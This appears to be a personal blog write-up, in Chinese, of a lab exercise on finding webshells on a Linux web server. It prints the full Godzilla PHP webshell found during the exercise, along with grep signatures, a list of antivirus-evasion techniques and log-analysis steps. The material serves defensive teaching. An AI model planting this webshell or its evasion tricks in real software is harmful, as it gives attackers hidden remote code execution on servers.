玄机靶场
Lwwww Lv2

第一章 应急响应-webshell查杀

简介 靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}

强烈推荐Peterpan.exe师傅的wp

首先给出环境我以为是仿真靶场,捣鼓了半天没弄明白 结果是去远程连接linux 我真是二逼

1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}

1.可疑函数调用 ◦ WebShell通常会使用一些危险的函数来执行系统命令或代码,如: ▪ PHP: eval(), system(), exec(), shell_exec(), passthru(), assert(), base64_decode() ▪ ASP: Execute(), Eval(), CreateObject() ▪ JSP: Runtime.getRuntime().exec()

  1. 编码和解码 ◦ WebShell经常使用编码和解码技术来隐藏其真实意图,如Base64编码:
1
2
eval(base64_decode('encoded_string'));

文件操作 ◦ WebShell可能会包含文件操作函数,用于读取、写入或修改文件:

▪ PHP: fopen(), fwrite(), file_get_contents(), file_put_contents() ▪ ASP: FileSystemObject

  1. 网络操作 ◦ WebShell可能会包含网络操作函数,用于与远程服务器通信:

    ▪ PHP: fsockopen(), curl_exec(), file_get_contents(‘http://…’) ▪ ASP: WinHttp.WinHttpRequest

    上面刚刚也说了我们可以尝试定位一些特殊的后缀文件,例如:.asp、.php、.jsp、.aspx。

1
2
3
4
5
6
7
8
//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec("
find ./ type f -name "*.php" | xargs grep "eval("
find ./ type f -name "*.asp" | xargs grep "execute("
find ./ type f -name "*.aspx" | xargs grep "eval("

//对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode"
1
2
3
本题步骤就是:
find ./ type f -name "*.php" | xargs grep "eval("

最后终于在gz.php里面发现了;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}


@session_start();:启动会话

@set_time_limit(0);:设置脚本执行时间限制为无限制

@error_reporting(0);:关闭错误报告

function encode($D,$K){...}:定义了一个名为 encode 的函数,它接受两个参数 $D$K。这个函数看起来像是一个简单的异或编码函数,用于对数据进行加密或解密。它使用 $K 作为密钥,对 $D 中的每个字符进行异或操作。

接下来的几行代码定义了 $payloadName$key$data 变量。$payloadName 是用于存储有效载荷的会话变量名,$key 是用于编码的密钥,$data 是从 php://input 流中读取的数据。

if ($data!==false){...}:如果从 php://input 读取的数据不是 false(即成功读取了数据),则执行以下代码块。

if (isset($_SESSION[$payloadName])){...}:检查 $payloadName 对应的会话变量是否已设置。

if (strpos($payload,"getBasicsInfo")===false){...}:检查 $payload 变量中是否包含字符串 "getBasicsInfo"

eval($payload);:如果 $payload 变量包含 "getBasicsInfo" 字符串,则执行 $payload 变量中的 PHP 代码。

echo encode(@run($data),$key);:如果 $data 包含 "getBasicsInfo" 字符串,则执行 @run($data) 函数,并将结果编码后输出。
————————————————

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/administratorlws/article/details/139521078

这段代码的目的是接收通过 php://input 流发送的数据,对其进行编码,并根据会话变量中的内容执行特定的 PHP 代码。这通常用于隐藏恶意代码或后门,使得攻击者可以通过特定的请求触发执行。

步骤#1.2黑客使用的什么工具的shell github地址的md5 flag{md5}

遇到这种类型的题目,我们就是要分析一下是什么类型的webshell,其实开头三句就可以分析出是godzilla的webshell了;

为什么这样说?

哥斯拉病毒是一种Java后门木马,通常用于攻击并控制Web服务器。特征就包括:

1
2
3
1. @session_start(); - 开启一个会话。
2. @set_time_limit(0); - 设置脚本执行时间为无限。
3. @error_reporting(0); - 关闭所有错误报告。

这些代码行主要用于隐藏病毒活动并确保其能够长时间运行而不被发现。哥斯拉病毒通常会通过Webshell或其他漏洞注入到服务器中,然后使用这些命令来掩盖其存在并执行进一步的恶意操作。

所以我们只需要找到它的github地址并且进行MD5加密即可;

Godzilla地址:https://github.com/BeichenDream/Godzilla

步骤#1.3黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx

那既然说黑客隐藏shell了,那我们肯定需要用到命令ls -la进行查找;

然后发现在挨个查找的过程中发现.Mysqlli.php如果普通的ls查看目录是查不出来的,必须用到ls -la才行,所以它就是隐藏了,我们直接定位一些它的路径,进行MD5加密即可;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@ip-10-0-10-3:/var/www/html/include# cd Db
root@ip-10-0-10-3:/var/www/html/include/Db# ls
Mysqli.php Mysql.php Sqlite.php
root@ip-10-0-10-3:/var/www/html/include/Db# ls -l
total 24
-rwxr-xr-x 1 www-data www-data 4752 Mar 14 2021 Mysqli.php
-rwxr-xr-x 1 www-data www-data 4921 Mar 14 2021 Mysql.php
-rwxr-xr-x 1 www-data www-data 4433 Mar 14 2021 Sqlite.php
root@ip-10-0-10-3:/var/www/html/include/Db# ls -a
. .. .Mysqli.php Mysqli.php Mysql.php Sqlite.php
root@ip-10-0-10-3:/var/www/html/include/Db# ls -la
total 36
drwxr-xr-x 2 www-data www-data 4096 Aug 2 2023 .
drwxr-xr-x 4 www-data www-data 4096 Aug 2 2023 ..
-rw-r--r-- 1 www-data www-data 768 Aug 2 2023 .Mysqli.php
-rwxr-xr-x 1 www-data www-data 4752 Mar 14 2021 Mysqli.php
-rwxr-xr-x 1 www-data www-data 4921 Mar 14 2021 Mysql.php
-rwxr-xr-x 1 www-data www-data 4433 Mar 14 2021 Sqlite.php
root@ip-10-0-10-3:/var/www/html/include/Db# pwd
/var/www/html/include/Db


注意:在finnalshell里面可以直接看到目录结构比命令好找 更方便

步骤#1.4黑客免杀马完整路径 md5 flag{md5}

什么是免杀马?

免杀马(免杀病毒或免杀Webshell)是指经过特殊处理和混淆,使其能够避开杀毒软件和安全检测工具识别的恶意软件或后门程序。黑客使用各种技术手段,使恶意代码看起来像是正常代码,从而躲避签名检测和基于规则的安全机制。这种技术通常用于Webshell和其他后门程序,目的是保持对受害系统的隐蔽访问。

免杀马(免杀病毒或免杀Webshell)是指经过特殊处理和混淆,使其能够避开杀毒软件和安全检测工具识别的恶意软件或后门程序。黑客使用各种技术手段,使恶意代码看起来像是正常代码,从而躲避签名检测和基于规则的安全机制。这种技术通常用于Webshell和其他后门程序,目的是保持对受害系统的隐蔽访问。

常见的免杀技术;

代码混淆:
    使用混淆工具或手动混淆代码,使其难以被直接阅读和分析。

编码和加密:
    使用Base64、ROT13等编码方式或更复杂的加密技术隐藏恶意代码片段。

动态生成和执行:
    通过动态生成代码并在运行时执行,绕过静态分析。例如,使用 eval()、create_function() 等PHP函数。

多层解码:
    多层编码或加密,增加分析和检测的难度。

使用合法函数:
    恶意代码嵌入到看似合法的代码中,利用正常的函数调用执行恶意操作。

查找和处理免杀马的方法;

文件完整性检查:
    比较当前文件与已知的良性备份文件,发现被修改或新增的文件。

代码审查:
    手动检查可疑文件,寻找混淆、编码、加密和动态执行的代码模式。

安全扫描工具:
    使用高级安全扫描工具,这些工具使用行为分析和机器学习来检测潜在的免杀马。

日志分析:
    查看服务器访问日志和错误日志,寻找异常访问和执行模式。
    检查文件修改时间,与正常更新周期不符的文件可能是可疑的。

基于特征的检测:
    使用YARA规则等特征检测工具,根据已知的免杀马特征进行扫描。

总结:免杀马通过静态检测是检测不到的,因为在免杀的过程中将webshel的特征值以及特征函数都给去掉了,因为webshell执行会在网站日志留下记录,那我们就到网站日志里面看看有啥可疑的记录,这里也顺便说一下linux的日志存放在/var/log目录下。

这里我们总结一下常见网站日志的路径:

IIS(Internet Information Services)

IIS是Windows上的默认Web服务器,其日志文件默认存储在以下路径:

IIS 6.0 及更早版本:

C:\WINDOWS\system32\LogFiles\W3SVC[SiteID]\

IIS 7.0 及更高版本:

C:\inetpub\logs\LogFiles\W3SVC[SiteID]\

其中,[SiteID] 是网站的标识符,通常是一个数字。

Apache HTTP Server

如果在Windows上安装了Apache,日志文件默认存储在安装目录下的logs文件夹中:

C:\Program Files (x86)\Apache Group\Apache2\logs\

或者

C:\Program Files\Apache Group\Apache2\logs\

具体路径取决于安装时选择的位置。

Linux系统中的网站日志路径

Apache HTTP Server

在Linux上,Apache日志文件通常位于以下目录:

访问日志:

/var/log/apache2/access.log

或者

/var/log/httpd/access_log

错误日志:

/var/log/apache2/error.log

或

/var/log/httpd/error_log

不同的Linux发行版可能有不同的目录。例如,在Debian/Ubuntu上通常使用/var/log/apache2/,而在Red Hat/CentOS上通常使用/var/log/httpd/。

Nginx

Nginx是另一个流行的Web服务器,默认的日志文件路径如下:

访问日志:

/var/log/nginx/access.log

错误日志:

/var/log/nginx/error.log
如何查看和分析日志文件?
Windows:
    使用文本编辑器(如Notepad、Notepad++)直接打开日志文件查看。
    可以使用IIS管理器查看IIS日志。

Linux:

    使用命令行工具查看日志,例如:

    tail -f /var/log/apache2/access.log tail -f /var/log/nginx/access.log

    可以使用日志分析工具(如GoAccess、AWStats)生成可视化的日志报告。

既然它经过了免杀处理,那么木马的特征值以及特征函数应该都是被去掉了。这时我们再通过静态检测是基本检测不到的,从上面我们就可以看出我们只找到了三个马。而且上面我们说了webshell执行会在网站日志留下记录,那我们就到网站日志里面看看有啥可疑的记录。
我们到apache2目录下面查看一下access.log日志,查看分析一下;(因为是日志所以记录有点多)

image

大部分都是重复的只有少数不一样的; 我们可以看到有个名为top.php的文件执行了phpinfo();且返回值为200,有点可疑。去找到相对应的文件发现是一个正常的文件来。

image

继续往下翻,又发现一个较为可疑的文件,到此目录下面查看该文件。 目录:/wap/top.php

image

原来是个恶意文件,最后把路径进行md5进行加密即可; 路径:/var/www/html/wap/top.php

为什么可以确认是恶意文件?

混淆和隐藏:

使用Base64编码和字符异或操作来混淆代码。这些技术通常用于隐藏恶意代码,避免被直接检测到。

动态执行:

动态生成并调用函数。这种模式允许攻击者通过URL参数传递任意代码并在服务器上执行,具有极大的危险性。

外部输入:

使用$_GET参数来控制代码行为。通过外部输入来决定代码逻辑,使得攻击者可以远程控制服务器,执行任意PHP代码。

image

还有一种思路和做法就是把var文件下载下来压缩zip扔到在线查杀网站里面,让他们去查杀

同样的道理在线下应该是用D盾查杀

 给亮汪汪买点狗粮吧⋆⋅☆(✪Ω✪)☆⋅⋆
Powered by Hexo & Theme Keep
Total words 19.5k Unique Visitor Page View